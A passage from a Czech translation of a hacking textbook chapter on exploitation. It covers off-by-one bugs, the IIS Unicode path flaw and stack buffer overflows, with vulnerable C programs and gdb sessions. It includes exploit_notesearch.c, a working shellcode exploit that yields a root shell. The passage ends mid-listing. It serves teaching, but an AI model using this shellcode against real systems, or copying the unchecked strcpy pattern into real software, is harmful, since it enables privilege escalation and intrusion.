

0x300

EXPLOITACE

Hlavní potravou hackera je exploitování. Jak jsme si předvedli v kapitole 2, program tvoří složitá sada pravidel. Poté následuje jistý vykonávací tok, který nakonec počítači říká, co má udělat. Exploitování programu je prostě rafinovaný způsob, jak počítač přinutit, aby dělal to, co chcete vy, a to dokonce i tehdy, pokud právě běžící program byl navržen tak, aby tomu zabránil.

Protože program může opravdu dělat pouze to, pro co byl navržen, aby dělal, díry v zabezpečení jsou ve skutečnosti nedostatky nebo přehlédnutí v návrhu programu, nebo v prostředí, kde program běží. Chcete-li takové bezpečnostní díry nalézat, nebo jim předcházet, je zapotřebí, abyste uvažovali kreativně. Ačkoliv tyto díry jsou někdy důsledkem relativně očividných programátorských chyb, existují i méně zřejmé chyby, které byly porodní bábou složitějších exploitovacích technik, a ty se dají aplikovat leckde a lečjak. Program umí dělat pouze a přesně to, co je v něm naprogramováno, a to doslova. Bohužel, to, co je napsáno, se ne vždy shoduje s tím, co programátor zamýšlel, aby program dělal. Dá se to vysvětlit tímto kouzelným vtípem:

Muž se prochází po lese a najednou uvidí na zemi lampu. Instinktivně ji zvedne, vypucuje rukávem a z kouzelné lampy vyskočí džin. Poděkuje muži, že ho vysvobodil a jako výraz díky nabídne, že mu splní tři přání. Muž je vzrušený na nejvyšší míru, protože přesně ví, co chce.

"Nejdřív," říká muž, "chci miliardu dolarů."

Džin luskně prsty a ejhle, z ničehož nic stojí před ním kufr plný peněz.

Muž koulí oči nadšením a pokračuje: "Teď chci Ferrari."

Džin opět luskně prsty a z oblaku kouře vyjede Ferrari.

Muž pokračuje: "A ještě chci být neodolatelný pro ženy."

Džin luskně prsty a muž se přemění na bonboniéru.

Stejně jako bylo poslední přání splněno podle toho, co muž řekl, nikoliv podle toho, co zamýšlel, přesně stejně provádí své instrukce program. Z tohoto důvodu výsledky nemusejí odpovídat tomu, čeho chtěl programátor dosáhnout svými instrukcemi. Dopady mohou být někdy katastrofální.

Programátoři jsou pouze lidé a to, co napíšíou, občas není přesně to, co zamýšleli. Například – jedné hodně běžné programátorské chybě se říká "o jedničku vedle" (off-by-one). Jak už její název napovídá, je to chyba, kdy se programátor splete o jedničku. Stává se to častěji, než si možná myslíte, a dobře se to dá předvést na následující otázce. Potřebujete postavit plot, máte pletivo v délce 30 m a jednotlivé kůly mají být od sebe tři metry. Kolik kůlů budete celkem potřebovat? Zbrklá intuitivní odpověď je že 10, ale to je špatně, protože ve skutečnosti jich potřebujete 11. Tento typ chyby se vyskytuje tehdy, když programátor místo počtu kůlů, přičítá žebříku atd. vezme počet mezer mezi nimi (nebo naopak). Dalším typickým příkladem je situace, kdy programátor vybírá rozpětí čísel nebo prvků ke zpracování, jako třeba od N do M . Jestliže $N = 5$ a $M = 17$, kolik prvků se má zpracovat? Intuitivní odpověď vás opět může svést na scesti: M minus N , neboli 17 minus 5, tedy 12. Ale zase je to špatně, protože prvků je ve skutečnosti M minus N plus 1, tedy 13. Intuice v těchto situacích radí špatně, protože jsou v rozporu s očekáváním. A tohle právě je příčinou, proč takové triviální chyby stále vznikají.

Chyby tohoto druhu se často přehlédnou, protože se netestují úplně všechny možnosti, které mohou v programu nastat, a protože při normálním vykonávání programu se účinek těchto chyb obvykle neprojeví. Jakmile se ovšem počítačový program stále více krmí vstupními daty, dříve nebo později nějaký konkrétní vstup způsobí, že se projeví efekt této chyby. Jejím důsledkem může být dominový efekt na celou logiku programu. Když se chyba "o jedničku vedle" řádně exploituje, může se zdánlivě bezpečný program stát něčím úplně opačným – bezpečnostní zranitelností.

Klasickým příkladem této situace je OpenSSH, což původně měla být bezpečná terminálová komunikační sada programů navržená tak, aby nahradila nezabezpečené a nešifrované služby jako jsou telnet, rsh a rcp. V kódu pro alokaci kanálu ovšem byla chyba "o jedničku vedle", která se pak intenzivně exploitovala. Konkrétně – kód obsahoval příkaz `if` v tomto tvaru:

```
if (id < 0 || id > channels_alloc) {
```

Měl ovšem mít následující tvar:

```
if (id < 0 || id >= channels_alloc) {
```

V běžné mluvené řeči první kód znamená: pokud je ID menší než 0, nebo je ID větší než počet alokovaných kanálů, vykonej to, co je uvedeno dále, zatímco ten druhý, správný, znamená: pokud je ID menší než 0, nebo je ID větší nebo rovno počtu alokovaných kanálů, vykonej to, co je uvedeno dále.

Tahle drobná chybička "o jedničku vedle" umožnila následné exploitování programu, takže normální uživatel, který se autentizoval a přihlásil, mohl získat úplná administrátorská oprávnění k systému. Takovou funkcionalitu určitě programátoři nezamýšleli, když chystali návrh takového bezpečného programu, jako je OpenSSH. Počítač holt umí tupě dělat pouze to, co se mu řekne.

Další situace, o které se zdá, že plodí programátorské chyby, nastává tehdy, když program musí pod tlakem rychle modifikovat, aby se rozšířila jeho funkcionalita. Program pak bude lépe prodejný a bude se moci i zvednout jeho prodejní cena, ovšem na druhou stranu bude složitější, přičemž se zvyšuje pravděpodobnost, že se něco přehlédne. Webový server IIS společnosti Microsoft byl

navržen tak, aby uživatelům poskytoval statický a interaktivní obsah. Aby něco takového mohl dělat, musí tento program povolit uživatelům číst, zapisovat a spouštět programy a soubory v jistých adresářích; tato funkcionality musí být omezena výhradně na tyto konkrétní adresáře. Pokud by toto omezení neexistovalo, uživatelé by měli úplnou kontrolu nad systémem, což je z bezpečnostního hlediska silně nežádoucí. Aby program mohl takové situaci zabránit, má v sobě kód pro kontrolu cest, který je navržen tak, že uživatelům zamezuje používat znak obrácené lomítka, takže nemohou putovat zpět po stromu adresářů a dostat se do jiných adresářů.

S příchodem podpory znakové sady Unicode ovšem narůstá složitost programů. Unicode je dvou-bajtová znaková sada, která byla navržena tak, aby podporovala znaky ze všech možných jazyků, včetně čínštiny a arabštiny. Když se pro znak používají dva bajty (ne pouze jeden), najednou máme možnost zakódovat desetitisíce znaků, nikoliv pouze něco přes dvě stovky, když používáme jediný bajt. Tato přidaná složitost mimo jiné znamená, že znak obrácené lomítka je možné zakódovat několika různými způsoby. Například %5c se v Unicode přeloží na obrácené lomítka, ovšem až poté, co proběhne kontrola cest. Pokud tedy někdo místo \ použil %5c, opravdu mohl putovat po adresářích, čímž vznikala již výše zmiňovaná bezpečnostní rizika. Na základě tohoto drobného přehlednutí v konverzi znaků Unicode mohli červi Sadmind a CodeRed napadat webové stránky.

Jako další obdobná ukázka principu, kdy se tupe dodržuje doslovné znění zákona na úkor litery zákona, může posloužit případ nazvaný "LaMacchia Loophole". Stejně jako počítačový program, má i právní systém Spojených států tu a tam pravidla, která neříkají zcela přesně to, co jejich tvůrci mysleli, a podobně jako počítačový program typu exploit, i mezera v zákoně (loophole) se dá použít k tomu, aby se takový zákon obešel. Koncem roku 1993 David LaMacchia, jednadvacetiletý počítačový hacker a student MIT, zveřejnil adresu své BBS (Bulletin Board System) s názvem Cynosure, která byla vytvořena pro potřeby softwarového pirátství. Kdo nabízel nějaký software, mohl ho tam nahrát; kdo nějaký software sháněl, mohl si jej z tohoto místa stáhnout. Ačkoliv tato služba byla v provozu pouze 6 týdnů, natolik zatížila celosvětový síťový provoz, že nakonec přitáhla pozornost univerzity a federálních úřadů. Softwarové společnosti prohlásily, že kvůli Cynosure přišly o milión dolarů, a velká federální porota obvinila LaMacchii, že spolu s jinými neznámými osobami spáchal wire fraud, neboli komunikační zločin (což je v USA přesně definovaný právnícký termín, viz http://en.wikipedia.org/wiki/Wire_fraud). Obvinění ovšem bylo nakonec staženo, protože se zjistilo, že to, co LaMacchia údajně spáchal, neznamenalo, že by došlo k porušení copyrightu (copyright infringement), protože z distribuce softwaru neměl žádný komerční prospěch a ani osobní finanční profit. Je evidentní, že tvůrci zákonů vůbec nepředpokládali, že by se mohl vyskytnout někdo, kdo by se angažoval v těchto aktivitách, a měl by jiný motiv než na nich vydělat. (V roce 1997 Kongres toto opomenutí v zákoně opravil schválením zákona No Electronic Theft Act.)

Přestože se tento příklad netýkal exploitace nějakého počítačového programu, lze soudce a porotu chápat jako počítače vykonávající program právního systému tak, jak byl napsán. Můžeme tedy říci, že abstraktní pojmy z oblasti hackingu přesahují svět počítačů a dají se aplikovat na mnohé jiné aspekty běžného života, který je plný složitých systémů.

0x310 Všeobecné exploitační techniky

Chyby "o jedničku vedle" a nepatřičné rozšiřování Unicode patří mezi trapné omyly, které se někdy stávají, ovšem programátor jasně a zřetelně vidí, jak by se mohly exploítovat, pokud je v programu nechal. Existují ovšem i jiné běžné chyby, které se dají exploítovat zdaleka méně očividným způsobem, než tomu bylo v předchozích situacích. Dopad těchto omylů na bezpečnost není vždy úplně zřejmý, ale problémy s bezpečností se v kódu dají najít téměř všude. Protože stejný druh omylů se dělá na mnoha různých místech, vyvinuly se všeobecné exploitační techniky, aby se dalo lépe těžit ze stejných omylů vyskytujících se v mnoha rozmanitých situacích.

Většina exploitačních programů (říká se jim *exploity*) má něco společného s narušením paměti. Sem patří jak běžné exploitační techniky, jako je například přetečení bufferu, tak i méně běžné metody, například exploitate formátovacího řetězce. Finálním cílem těchto technik je převzít kontrolu nad vykonáváním toku programu. To se dělá tak, že program bude nějakým trikem donucen, aby vykonal úsek zákeřného kódu, který byl propašován do paměti. Tomuto druhu hackerského napadení se říká vykonání svévolného kódu (*execution of arbitrary code*), protože program bude dělat ne to, co má, ale to, co si usmyslel hacker. Podobně jako v kauze Davida LaMacchia existují zranitelná místa proto, že jsou to konkrétní neočekávané případy, které program neumí nebo opomněl zpracovat. Za normálních okolností tyto neočekávané případy způsobí, že program zhavaruje – jinak řečeno, ztratí vládu nad řízením. Jestliže ovšem máme propracovanou kontrolu nad prostředím, můžeme také mít kontrolu nad tokem vykonávání. To znamená, že zabráníme havárii a daný postup přeprogramujeme ke svému užitku.

0x320 Přetečení paměti

Ačkoliv zranitelnosti založené na přetečení bufferu existují již od počátku počítačové éry, v současnosti se pořád vyskytují. Většina internetových červů se rozmnožuje díky zranitelnostem, které vznikají po přetečení bufferu. A dokonce i nejnovější zranitelnost jazyka VML v Internet Exploreru, která byla pojmenována jako Zero-Day, je způsobena přetečením bufferu.

C je sice vysokoúrovňový jazyk, nicméně předpokládá, že za integritu dat je zodpovědný programátor. Kdyby se tato zodpovědnost přenesla na kompilátor, výsledné binární kódy by byly významně pomalejší, protože u každé proměnné by se musely provádět testy integrity. Tohle by pro programátora znamenalo značnou ztrátu úrovně kontroly nad kódem, přičemž by se zkomplikoval i samotný programovací jazyk.

Přestože jednoduchost jazyka C zvyšuje jak úroveň kontroly programátora nad kódem, tak i efektivnost výsledných programů, může rovněž vést k tomu, že pokud není programátor dostatečně pečlivý, programy budou zranitelnější, pokud jde o přetečení bufferu nebo tzv. úniky paměti (*memory leaks*). To znamená, že jakmile má proměnná přidělenou paměť, neexistují už žádná zabudovaná bezpečnostní opatření, která by zajišťovala, že obsah proměnné se musí vejít do alokované paměti. Pokud chce programátor vložit deset bajtů dat do bufferu, který má alokovaných pouze osm bajtů, bude taková akce povolena, i když bude pravděpodobně znamenat, že program zhavaruje.

Této situaci se říká přetečení bufferu (buffer overrun či buffer overflow), protože ty dva bajty navíc přetečou přes alokovanou paměť a přepíší to, co se nachází dále, ať už je to cokoliv. Pokud se přepíší kriticky důležitá data, program zhavaruje. Ukázku poskytuje kód `overflow_example.c`.

overflow_example.c

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_one[8], buffer_two[8];

    strcpy(buffer_one, "one"); /* Dá "one" do buffer_one. */
    strcpy(buffer_two, "two"); /* Dá "two" do buffer_two. */

    printf("[BEFORE] buffer_two is at %p and
           contains '%s'\n", buffer_two, buffer_two);
    printf("[BEFORE] buffer_one is at %p and
           contains '%s'\n", buffer_one, buffer_one);
    printf("[BEFORE] value is at %p and is %d (0x%08x)\n",
           &value, value, value);

    printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1]));
    strcpy(buffer_two, argv[1]); /* Zkopíruje první argument do buffer_two. */

    printf("[AFTER] buffer_two is at %p and contains '%s'\n",
           buffer_two, buffer_two);
    printf("[AFTER] buffer_one is at %p and contains '%s'\n",
           buffer_one, buffer_one);
    printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value,
           value, value);
}
```

S momentálními znalostmi byste měli být schopni přečíst výše uvedený zdrojový kód a zjistit, co program dělá. Po kompilaci se ve výstupu níže pokoušíme zkopírovat deset bajtů z prvního argumentu příkazového řádku do bufferu `buffer_two`, který má alokovaných pouze osm bajtů.

```
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
```

```
[STRCPY] copying 10 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff7f8 and contains '90'
[AFTER] value is at 0xbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $
```

Povšimněte si, že `buffer_one` je v paměti umístěn těsně za `buffer_two`, takže když se zkopíruje deset bajtů do `buffer_two`, přetečou poslední dva bajty 90 do `buffer_one` a přepíšou to, co se tam nacházelo.

Rozsáhlejší buffer pochopitelně přeteče i do dalších proměnných. A pokud se použije dostatečně velký buffer, viz následující ukázka, program zhavaruje a skoná.

```
reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)

[STRCPY] copying 29 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff7e0 and contains
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault
reader@hacking:~/booksrc $
```

Tento druh havárie programu je dost běžný – vzpomeňte si na všechny situace, kdy vám spadl nějaký program, nebo kdy jste uviděli modrou obrazovku. V tomto případě se programátor dopustil drobného opomenutí – chybí zde nějaká kontrola na délku, nebo nějaké omezení pro vstup od uživatele. Ačkoliv taková opominutí vznikají poměrně snadno, například z únavy, bývá obtížnější je poté odhalit. A vskutku – program `notesearch.c` z kapitoly 0x200 obsahuje chybu týkající se přetečení bufferu. Ačkoliv se v C vyznáte docela dobře, pravděpodobně jste ji vůbec neodhalili.

```
reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----[ end of note data ]-----
Segmentation fault
reader@hacking:~/booksrc $
```

Havárie programů jsou otravné, ale v rukách hackera se mohou stát vyloženě nebezpečnými. Když program havaruje, může nad ním převzít kontrolu erudovaný hacker, což může mít někdy i dost překvapivé následky. Nebezpečí tohoto druhu předvádí program `exploit_notesearch.c`.

exploit_notesearch.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\xa6\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200); // Vynuluje novou paměť.

    strcpy(command, "./notesearch `"); // Začátek bufferu příkazu.
    buffer = command + strlen(command); // Nastaví buffer na konec.

    if(argc > 1) // Nastaví offset.
        offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; // Nastaví návratovou adresu.

    for(i=0; i < 160; i+=4) // Naplní buffer návratovou adresou.
        *((unsigned int *) (buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Vybuduje sled NOP.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "`");

    system(command); // Spustí exploit.
    free(command);
}
```

Zdrojový kód tohoto exploitu vysvětlím podrobně později. Všeobecně jde o to, že se vygeneruje řetězec příkazu, kterým se pak spustí program notesearch s argumentem příkazového řádku v apostrofech. Dělá se to prostřednictvím dvou následujících řetězcových funkcí – `strlen()` získá aktuální délku řetězce, aby se posunul ukazatel bufferu a `strcat()` přidá na konec příkazu uzavírající apostrof. Prostřednictvím systémové funkce se poté vykoná řetězec příkazu. Základem exploitu je buffer, který se vygeneruje mezi apostrofy. Zbytek je pouze metoda, jak doručit tuto datovou pilulku s jedem. Sledujte, co se může stát při řízení havárie programu.

```

reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-----[ end of note data ]-----
sh-3.2#

```

Exploit je na základě přetečení schopen obsluhovat shell roota, což znamená, že má úplnou kontrolu nad počítačem. Jedná se o exploit, který těží z přetečení bufferu založeného na zásobníku.

0x321 ***Zranitelnosti způsobené přetečením bufferu založeného na zásobníku***

Exploit aplikovaný na program notesearch funguje tak, že naruší paměť, aby mohl převzít kontrolu nad tokem vykonávání. Tento princip názorně předvádí program `auth_overflow.c`.

auth_overflow.c

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
    int auth_flag = 0;
    char password_buffer[16];

    strcpy(password_buffer, password);
    if(strcmp(password_buffer, "brillig") == 0)
        auth_flag = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
        auth_flag = 1;

    return auth_flag;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
        exit(0);
    }
    if(check_authentication(argv[1])) {
        printf("\n-----\n");
        printf(" Access Granted.\n"); // Přístup udělen
    }
}

```



```

    printf("-----\n");
} else {
    printf("\nAccess Denied.\n"); // Přístup odmítnut
}
}

```

Tento ukázkový prográmek prvně přebírá heslo jako svůj jediný argument příkazového řádku. Poté zavolá funkci `check_authentication()`, která povoluje dvě hesla. Pokud se zadá jedno ze dvou konkrétních hesel, funkce vrátí 1, což vyjadřuje, že byl k něčemu udělen přístup. Nahlédněte do zdrojového kódu – tohle všechno by vám mělo být jasné ještě předtím, než dáte kód zkompileovat. Při kompilaci uveďte přepínač `-g`, protože kód se bude později ladit.

```

reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow
Usage: ./auth_overflow <password>
reader@hacking:~/booksrc $ ./auth_overflow test

```

Access Denied.

```
reader@hacking:~/booksrc $ ./auth_overflow brillig
```

```
-----
```

Access Granted.

```
-----
```

```
reader@hacking:~/booksrc $ ./auth_overflow outgrabe
```

```
-----
```

Access Granted.

```
-----
```

```
reader@hacking:~/booksrc $
```

Až sem to šlo dobře, všechno funguje tak, jak má. To se ostatně očekává od něčeho tak deterministického jako je počítačový program. Přetečení může ale vést na neočekávané, nebo dokonce neslučitelné chování – přístup bude umožněn i v případě, kdy nebylo zadáno správné heslo.

```

reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----
Access Granted.
-----
reader@hacking:~/booksrc $

```

Ačkoliv jste už možná přišli na to, co se vlastně děje, podívejte se i přesto na celou záležitost debuggerem, abyste si ujasnili specifika této situace.

```

reader@hacking:~/booksrc $ gdb -q ./auth_overflow
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

```

```
(gdb) list 1
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4
5  int check_authentication(char *password) {
6  int auth_flag = 0;
7  char password_buffer[16];
8
9  strcpy(password_buffer, password);
10
(gdb)
11  if(strcmp(password_buffer, "brillig") == 0)
12  auth_flag = 1;
13  if(strcmp(password_buffer, "outgrabe") == 0)
14  auth_flag = 1;
15
16  return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20  if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb)
```

Debugger GDB jsme spustili s volbou -q, abychom potlačili uvítací záhlaví. Body přerušení byly nastaveny pro řádky 9 a 16, takže jakmile se program spustí, bude na nich pozastaveno vykonávání programu a my dostaneme šanci prozkoumat paměť.

```
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAA
AAAAAA
Breakpoint 1, check_authentication (password=0xbffff9af 'A'
<repeats 30 times>) at
auth_overflow.c:9
9  strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7a0:  ")????o?????)\205\004\b?o??p??????"
(gdb) x/x &auth_flag
0xbffff7bc:  0x00000000
```

```
(gdb) print 0xbffff7bc - 0xbffff7a0
$1 = 28
(gdb) x/16xw password_buffer
0xbffff7a0:  0xb7f9f729    0xb7fd6ff4    0xbffff7d8    0x08048529
0xbffff7b0:  0xb7fd6ff4    0xbffff870    0xbffff7d8    0x00000000
0xbffff7c0:  0xb7ff47b0    0x08048510    0xbffff7d8    0x080484bb
0xbffff7d0:  0xbffff9af    0x08048510    0xbffff838    0xb7eafebc
(gdb)
```

První bod přerušení je před voláním `strcpy()`. Pokud prozkoumáte ukazatel `password_buffer`, debugger vám ukáže, že je naplněn náhodnými neinicializovanými daty, a že se nachází v paměti na adrese `0xbffff7a0`. Pokud prozkoumáte adresu proměnné `auth_flag`, uvidíte, že je umístěna na `0xbffff7bc`, a že její hodnota je 0. Příkaz `print` může být použit pro vykonání aritmetické operace a zobrazení, že `auth_flag` je 28 bajtů za začátkem `password_buffer`. Tento vztah je také možné vydedukovat z bloku paměti (počínaje `password_buffer`).

```
(gdb) continue
Continuing.
```

```
Breakpoint 2, check_authentication (password=0xbffff9af 'A'
  <repeats 30 times>) at
auth_overflow.c:16
16      return auth_flag;
(gdb) x/s password_buffer
0xbffff7a0:  'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc:  0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0:  0x41414141    0x41414141    0x41414141    0x41414141
0xbffff7b0:  0x41414141    0x41414141    0x41414141    0x00004141
0xbffff7c0:  0xb7ff47b0    0x08048510    0xbffff7d8    0x080484bb
0xbffff7d0:  0xbffff9af    0x08048510    0xbffff838    0xb7eafebc
(gdb) x/4cb &auth_flag
0xbffff7bc:  65 'A' 65 'A' 0 '\0' 0 '\0'
(gdb) x/dw &auth_flag
0xbffff7bc:  16705
(gdb)
```

Pokračujme k druhému bodu přerušení, který je za `strcpy()`, a opět prozkoumejme stejná místa v paměti. Buffer `password_buffer` přetekl do `auth_flag`, takže změnil první dva bajty na `0x41`. Z hodnoty `0x00004141` by se mohlo zdát, že se nic nestalo, ale vzpomeňte si, že platforma `x86` používá architekturu `little-endian` (tj. nejméně významný bajt se uloží jako první), takže se předpokládá, že se na ně bude hledět takto. Pokud prozkoumáte všechny čtyři bajty jeden po dru-

hém, přesně uvidíte, jak je paměť ve skutečnosti rozložena. Důsledkem toho všeho je, že program bude tuto hodnotu považovat za celé číslo s hodnotou 16 705.

```
(gdb) continue
```

```
Continuing.
```

```
-----
```

```
Access Granted.
```

```
-----
```

```
Program exited with code 034.
```

```
(gdb)
```

Po přetečení funkce `check_authentication()` vrátí hodnotu 16 705, nikoli 0. Protože v příkazu `if` se považuje za autentizovanou jakákoliv nenulová hodnota, přejde tok vykonávání programu do autentizované sekce. V tomto příkladu je řídicím bodem vykonávání proměnná `auth_flag`, protože zdrojem řízení byl přepis této hodnoty.

Tohle byl ovšem velmi vyumělkovaný příklad, který byl závislý na rozvržení paměti proměnných. V souboru `auth_overflow2.c` jsou proměnné deklarovány v opačném pořadí. (Změny vůči souboru `auth_overflow.c` jsou zvýrazněny tučně.)

auth_overflow2.c

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <string.h>
```

```
int check_authentication(char *password) {
    char password_buffer[16];
    int auth_flag = 0;

    strcpy(password_buffer, password);

    if(strcmp(password_buffer, "brillig") == 0)
        auth_flag = 1;
    if(strcmp(password_buffer, "outgrabe") == 0)
        auth_flag = 1;

    return auth_flag;
}
```

```
int main(int argc, char *argv[]) {
    if(argc < 2) {
```